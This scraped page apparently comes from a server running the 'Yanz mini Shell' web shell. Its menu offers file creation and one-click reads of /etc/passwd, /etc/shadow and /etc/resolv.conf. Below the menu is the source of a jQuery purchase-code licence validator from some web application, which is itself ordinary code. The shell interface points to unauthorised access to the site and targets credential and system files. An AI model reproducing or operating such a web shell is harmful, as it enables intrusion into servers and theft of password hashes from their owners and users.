Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

$('#validate_code_form').validate({
    rules: {
        purchase_code: "required"
    }
});
$('#result_success , #result_fail').hide();

$('#validate_code_form').on('submit', async function(e) {
    e.preventDefault();
    var formData = new FormData(this);
    if ($("#validate_code_form").validate().form()) {
        var item_id = '22015911';
        var item_id_2 = '29260418';
        var code = $('#purchase_code').val();
        var flag = validURL(domain_url);

if (flag) {
            var response = await validator(code, domain_url, item_id, formData); // for app
            console.log(response);
            if (response.error) {
                response = validator(code, domain_url, item_id_2, formData); // for web
                if (response.error) {
                    $('#result_fail').html(response.message);
                    $('#result_fail').show().delay(6000).fadeOut();
                    $('#btnValidate').html('Validate Now');
                } else {
                    // console.log(response);
                    $('#result_success').html(response.message);
                    $('#result_success').show().delay(6000).fadeOut();
                }
            } else {
                // console.log(response);
                $('#result_success').html(response.message);
                $('#result_success').show().delay(6000).fadeOut();
            }
        } else {
            alert("Invalid Domain URL");
        }
    }
});
var myURL;

async function validator(code, domain_url, item_id, formData) {
    let res;
    let response;
    await $.ajax({
        type: 'GET',
        url: 'https://wrteam.in/validator/home/validator_new?purchase_code=' + code + '&domain_url=' + domain_url + '&item_id=' + item_id,
        data: formData,
        beforeSend: function() {
            $('#btnValidate').html('Please wait..');
        },
        cache: false,
        contentType: false,
        processData: false,
        dataType: 'json',
        success: async function(result) {
            console.log(result);
            if (!result.error) {
                $('#result_success').html(result.message);
                $('#result_success').show().delay(6000).fadeOut();
                $('#validate_code_form')[0].reset();
                response_data = "code_bravo=" + result.purchase_code;
                response_data += "&time_check=" + result.token;
                response_data += "&code_adam=" + result.username;
                response_data += "&dr_firestone=" + result.item_id;
                response_data += "&add_dr_gold=1";
                await $.ajax({
                    type: 'POST',
                    url: 'public/db-operation.php',
                    data: response_data,
                    beforeSend: function() {
                        $('#btnValidate').val('Please Wait..');
                    },
                    dataType: "json",
                    success: function(result) {
                        res = result;

if (result['error'] == false) {
                            $('#result_success').html(result.message);
                            $('#result_success').show().delay(6000).fadeOut();
                        } else {
                            $('#result_fail').html(result.message);
                            $('#result_fail').show().delay(6000).fadeOut();
                            $('#btnValidate').html('Validate Now');
                        }
                    }
                });
            } else {
                res = result;
                $('#result_fail').html(result.message);
                $('#result_fail').show().delay(6000).fadeOut();
            }
            $('#btnValidate').html('Validate Now');

}
    });
    return res;

}